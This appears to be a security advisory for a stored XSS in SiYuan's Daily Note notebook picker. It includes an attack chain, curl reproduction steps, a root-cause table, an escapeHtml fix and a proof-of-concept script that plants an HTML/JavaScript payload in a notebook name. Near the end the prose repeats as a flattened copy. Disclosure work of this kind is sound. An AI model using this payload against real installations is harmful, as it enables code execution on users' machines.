Executive Summary
Notebook names pass through normalizeBoxName → normalizeDocTitle, which strips /, invisible Unicode, and PUA only — not <, >, ", or '. When two or more notebooks are open, the Daily Note picker builds a <select> by concatenating item.name into HTML with no escapeHtml(). That string is assigned to Dialog innerHTML.
Sibling UIs (history.ts, dataMigration.ts, onGetnotebookconf.ts) already escape notebook names. This picker does not.
A crafted notebook name such as </option></select><img src=x onerror=alert(1)> survives rename/import/sync and executes when the victim opens Daily Note. Electron renderer RCE follows.
Attack Chain
1. Attacker creates or renames a notebook:
name = "</option></select><img src=x onerror=alert(document.domain)>"
2. normalizeBoxName → normalizeDocTitle:
only strips "/", invisible, PUA
< > " ' survive and are stored in conf.json (synced)
3. Victim has ≥2 open notebooks and opens Daily Note
(useLastNotebook false, or first use)
4. app/src/util/mount.ts:72
optionsHTML += `<option value="${item.id}">${item.name}</option>`
5. Dialog content → this.element.innerHTML (dialog/index.ts:88-94)
6. HTML parser closes <select>, parses <img>, onerror fires
→ XSS → Electron RCE
Environment
- Application: SiYuan v3.8.4 desktop (Electron) or web
- Attacker: Import/sync of a notebook whose
conf.json name contains HTML, or rename via API
- Prerequisite: Victim has at least two open notebooks and opens the Daily Note chooser
Step-by-Step Reproduction
Step 1 — Create two notebooks so the picker appears
Keep one normal notebook open. Create a second:
curl -X POST http://127.0.0.1:6806/api/notebook/createNotebook \
-H "Content-Type: application/json" \
-d '{"name":"</option></select><img src=x onerror=alert(document.domain)>"}'
Step 2 — Confirm the name is stored raw
curl -X POST http://127.0.0.1:6806/api/notebook/lsNotebooks \
-H "Content-Type: application/json" -d '{}'
The name field contains the HTML (or \u003c which JSON.parse turns back into <).
Step 3 — Open Daily Note
In the UI: File - Daily Note (or the Daily Note command) with two notebooks open so the <select> dialog is shown.
The dialog HTML contains a broken <select> followed by a live <img onerror>. Alert fires. In Electron this is RCE.
Root Cause Summary Table
| File:Line |
Component |
Issue |
kernel/model/mount.go:166-171 |
normalizeBoxName |
Delegates to normalizeDocTitle; no HTML strip |
kernel/model/file.go |
normalizeDocTitle |
Strips /, invisible, PUA only |
app/src/util/mount.ts:72 |
Daily Note picker |
${item.name} in innerHTML, no escapeHtml |
app/src/dialog/index.ts:88-94 |
Dialog |
Assigns content to innerHTML |
app/src/search/history.ts:506 (contrast) |
history UI |
Correctly uses escapeHtml(item.name) |
Remediation
optionsHTML += `<option value="${item.id}">${escapeHtml(item.name)}</option>`;
Optionally also reject <> in normalizeBoxName.
Timeline
| Date |
Event |
| 2026-09-18 |
Identified unescaped notebook name in Daily Note picker on v3.8.4 |
| 2026-09-18 |
Confirmed normalizeBoxName does not strip HTML characters |
| 2026-09-18 |
Confirmed sibling UIs already escape the same field |
Reproduction Artifacts
- Affected:
app/src/util/mount.ts:72, kernel/model/mount.go:166
- PoC:
notebook-name.sh (embedded below)
PoC: notebook-name.sh
#!/usr/bin/env bash
# Stored XSS via notebook name in Daily Note <select> picker
set -uo pipefail
APP="${F6_APP:-http://127.0.0.1:6806}"
PAYLOAD='</option></select><img src=x onerror=alert(document.domain)>'
say() { printf '\n\033[1;34m[+] %s\033[0m\n' "$*"; }
ok() { printf '\033[1;32m[OK] %s\033[0m\n' "$*"; }
bad() { printf '\033[1;31m[!!] %s\033[0m\n' "$*"; exit 1; }
say "Step 1: Reachability"
curl -sf -m 5 -o /dev/null "$APP/api/system/version" || bad "kernel not reachable"
ok "$APP"
say "Step 2: Create notebook with HTML name"
python3 - <<PY
import json, urllib.request, os
app = os.environ.get("F6_APP", "http://127.0.0.1:6806")
name = "</option></select><img src=x onerror=alert(document.domain)>"
req = urllib.request.Request(app + "/api/notebook/createNotebook",
data=json.dumps({"name": name}).encode(),
headers={"Content-Type": "application/json"})
print(" createNotebook", urllib.request.urlopen(req, timeout=10).status)
PY
say "Step 3: lsNotebooks — raw HTML in name"
python3 - <<'PY'
import json, urllib.request, os
app = os.environ.get("F6_APP", "http://127.0.0.1:6806")
req = urllib.request.Request(app + "/api/notebook/lsNotebooks",
data=b"{}", headers={"Content-Type": "application/json"})
d = json.load(urllib.request.urlopen(req, timeout=10))
found = False
for nb in d.get("data", {}).get("notebooks", []):
name = nb.get("name", "")
if "<img" in name.lower() or "onerror" in name.lower() or "</option>" in name.lower():
found = True
print(" [!!] RAW HTML notebook name:", repr(name))
if not found:
print(" dump:", json.dumps(d)[:500])
print(" (Go json.Marshal may emit \\u003c; JSON.parse restores <)")
PY
say "RESULT"
cat <<'R'
[CRITICAL] normalizeBoxName keeps <>. Daily Note picker injects item.name
into Dialog innerHTML. ≥2 open notebooks → XSS → Electron RCE.
Trigger: File - Daily Note with two notebooks open.
R
Executive Summary
Notebook names pass through
normalizeBoxName→normalizeDocTitle, which strips/, invisible Unicode, and PUA only — not<,>,", or'. When two or more notebooks are open, the Daily Note picker builds a<select>by concatenatingitem.nameinto HTML with noescapeHtml(). That string is assigned toDialoginnerHTML.Sibling UIs (
history.ts,dataMigration.ts,onGetnotebookconf.ts) already escape notebook names. This picker does not.A crafted notebook name such as
</option></select><img src=x onerror=alert(1)>survives rename/import/sync and executes when the victim opens Daily Note. Electron renderer RCE follows.Attack Chain
Environment
conf.jsonnamecontains HTML, or rename via APIStep-by-Step Reproduction
Step 1 — Create two notebooks so the picker appears
Keep one normal notebook open. Create a second:
Step 2 — Confirm the name is stored raw
The
namefield contains the HTML (or\u003cwhichJSON.parseturns back into<).Step 3 — Open Daily Note
In the UI: File - Daily Note (or the Daily Note command) with two notebooks open so the
<select>dialog is shown.The dialog HTML contains a broken
<select>followed by a live<img onerror>. Alert fires. In Electron this is RCE.Root Cause Summary Table
kernel/model/mount.go:166-171normalizeBoxNamenormalizeDocTitle; no HTML stripkernel/model/file.gonormalizeDocTitle/, invisible, PUA onlyapp/src/util/mount.ts:72${item.name}in innerHTML, noescapeHtmlapp/src/dialog/index.ts:88-94DialogcontenttoinnerHTMLapp/src/search/history.ts:506(contrast)escapeHtml(item.name)Remediation
Optionally also reject
<>innormalizeBoxName.Timeline
normalizeBoxNamedoes not strip HTML charactersReproduction Artifacts
app/src/util/mount.ts:72,kernel/model/mount.go:166notebook-name.sh(embedded below)PoC: notebook-name.sh